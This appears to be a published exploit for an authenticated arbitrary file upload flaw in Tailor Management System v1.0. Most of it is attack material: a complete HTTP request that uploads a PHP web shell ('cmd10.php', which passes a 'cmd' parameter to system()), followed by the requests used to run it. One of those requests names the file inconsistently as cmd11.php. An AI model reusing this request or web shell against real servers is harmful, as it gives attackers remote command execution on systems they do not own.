# Exploit Title: Tailor Management System - Arbitrary File Upload (Authenticated)
# Google Dork: N/A
# Date: 2020-09-08
# Exploit Author: mosaaed
# Vendor Homepage: https://www.sourcecodester.com/php/14378/tailor-management-system-php-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14378&title=Tailor+Management+System+in+PHP+MySQL
# Version: v1.0
# Tested on: Kali linux
# CVE: N/A
Step 1 - Request
POST /tailor/partedit.php?id=6 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------374227061277520034476021901
Content-Length: 943
DNT: 1
Connection: close
Referer: http://localhost/tailor/partedit.php?id=6
Cookie: PHPSESSID=vrjbboto2c5v4tvhpssoiouvh0
Upgrade-Insecure-Requests: 1
-----------------------------374227061277520034476021901
Content-Disposition: form-data; name="type"
1
-----------------------------374227061277520034476021901
Content-Disposition: form-data; name="title"
HIPS
-----------------------------374227061277520034476021901
Content-Disposition: form-data; name="detail"
Take out all of the stuff in the front and back pockets your trouser. The hip measurement should be taken around the hips at the widest point. Stand up in a relaxed posture, and keep the tape parallel. Do not tighten the tape measure. Make sure you can move the tape easily.
-----------------------------374227061277520034476021901
Content-Disposition: form-data; name="bgimg"; filename="cmd10.php"
Content-Type: application/x-php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
-----------------------------374227061277520034476021901--
Step 2 - Response
GET /tailor/img/part/cmd11.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://localhost/tailor/partedit.php?id=6
Cookie: PHPSESSID=vrjbboto2c5v4tvhpssoiouvh0
Step 3 - Read file uploaded
http://localhost/tailor/img/part/cmd10.php